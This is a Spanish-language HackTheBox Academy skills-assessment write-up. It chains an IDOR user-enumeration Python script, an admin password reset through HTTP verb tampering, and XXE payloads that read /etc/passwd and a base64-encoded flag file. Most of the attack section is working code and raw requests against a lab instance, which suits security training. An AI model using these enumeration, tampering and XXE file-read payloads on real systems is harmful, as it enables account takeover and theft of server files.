Web Attacks - Skills Assessment
Resumen
Máquina que hay que encadenar, idor, con enumeración de usuarios, buscar al admin, cambiarle la contraseña mediante verb tampering y crear un evento vulenrable a XXE.
| Plataforma | HackTheBox |
|---|---|
| Dificultad | 🟡 Medio |
| Sistema operativo | 🐧 Linux🌐 Web |
| Estado | Terminada |
| Root flag | |
| Técnicas | #web#idor#xxe#tampering |
| Extensión | 228 palabras · 1 min |
| Máquina original | https://academy.hackthebox.com/app/module/134/section/1219 |
Exploración de rutas
Navegando por la web vemos rutas que son interesantes que probablemente nos lleven a encadernar diferentes IDORs. Estas rutas son:



Además se debe encadenar en dicho orden, obtenemos el uid de un usuario administrador, obtenemos su token y luego le cambiamos la contraseña con el token.
Explotación IDOR + Verb Tampering
Con ayuda de una IA hacemos un script sencillo que recorre todos los usuarios /api.php/user/{id} del 0 al 200.
Código
python1#!/usr/bin/env python3 2 3import csv 4import requests 5 6BASE_URL = "http://154.57.164.64:31147" 7COOKIE = { 8 "PHPSESSID": "h5ntuv948l6cimvs5mesgu72pd", 9 "uid": "74", 10} 11 12headers = { 13 "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0", 14 "Accept": "*/*", 15 "Referer": f"{BASE_URL}/profile.php", 16} 17 18results = [] 19 20for uid in range(1, 201): 21 url = f"{BASE_URL}/api.php/user/{uid}" 22 23 try: 24 r = requests.get( 25 url, 26 headers=headers, 27 cookies=COOKIE, 28 timeout=5 29 ) 30 31 data = r.json() 32 33 if isinstance(data, dict): 34 data["_requested_uid"] = uid 35 results.append(data) 36 print(f"[+] UID {uid}: {data}") 37 else: 38 print(f"[-] UID {uid}: respuesta inesperada") 39 40 except requests.RequestException as e: 41 print(f"[!] UID {uid}: {e}") 42 except ValueError: 43 print(f"[-] UID {uid}: no es JSON") 44 45# Todas las claves encontradas en cualquier respuesta 46fields = set() 47 48for row in results: 49 fields.update(row.keys()) 50 51fields = sorted(fields) 52 53with open("users.csv", "w", newline="", encoding="utf-8") as f: 54 writer = csv.DictWriter( 55 f, 56 fieldnames=fields, 57 extrasaction="ignore" 58 ) 59 60 writer.writeheader() 61 62 for row in results: 63 writer.writerow(row) 64 65print(f"\n[+] Guardado en users.csv") 66print(f"[+] Usuarios encontrados: {len(results)}") 67print(f"[+] Campos encontrados: {', '.join(fields)}")
Hallazgo y explotación
Analizando el csv vemos que solo hay 100 usuarios (del 1 al 100) y que el número 52 tiene la compañía "Administrador"
json{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}
Nos interesa seguir por esta vía y probar que pasa. Cojamos su token mediante /api.php/token/52
json{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}
Y ahora le cambiamos la contraseña y nos logueamos. Para ello
http1POST /reset.php HTTP/1.1 2Host: 154.57.164.66:31872 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.66:31872/settings.php 8Content-Type: application/x-www-form-urlencoded 9Content-Length: 67 10Origin: http://154.57.164.66:31872 11DNT: 1 12Connection: keep-alive 13Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52 14Priority: u=4 15 16uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520!
Nos devuelve Acces Denied por lo que no ha sido tan fácil como esperabamos.
Aplicamos Verb Tampering a la petición, cambiando POST por GET
http1GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=Test520! HTTP/1.1 2Host: 154.57.164.66:31872 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.66:31872/settings.php 8Origin: http://154.57.164.66:31872 9DNT: 1 10Connection: keep-alive 11Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52 12Priority: u=4
Obtenemos Password changed successfully, así que vamos a probarlo
Username: a.corrales
Pass: Test520!
Explotación XXE
Identificación
Una vez dentro vemos que podemos crear eventos

Secillamente estamos ante XXE debido a la petición que es dada
http1POST /addEvent.php HTTP/1.1 2Host: 154.57.164.66:31872 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.66:31872/event.php 8Content-Type: text/plain;charset=UTF-8 9Content-Length: 158 10Origin: http://154.57.164.66:31872 11DNT: 1 12Connection: keep-alive 13Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52 14Priority: u=4 15 16 17 <root> 18 <name>Event</name> 19 <details>Details</details> 20 <date>2026-09-09</date> 21 </root>
Nos devuelve Event 'Event' has been created. por lo que tenemos el XXE en el campo Event
Explotación
Para ello en la petición ponemos
http1POST /addEvent.php HTTP/1.1 2Host: 154.57.164.66:31872 3User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4Accept: */* 5Accept-Language: en-US,en;q=0.5 6Accept-Encoding: gzip, deflate, br 7Referer: http://154.57.164.66:31872/event.php 8Content-Type: text/plain;charset=UTF-8 9Content-Length: 224 10Origin: http://154.57.164.66:31872 11DNT: 1 12Connection: keep-alive 13Cookie: PHPSESSID=jasq1ubs7b66d4ss2gvfo8nq15; uid=52 14Priority: u=4 15 16<!DOCTYPE email [ 17 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 18]> 19 <root> 20 <name>&xxe;</name> 21 <details>Details</details> 22 <date>2026-09-09</date> 23 </root> 24
Y la response nos devuelve

Por lo que nos queda encontrar la flag.
Usamos este código ahora
xml<!DOCTYPE email [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php"> ]>
Y obtenemos así:
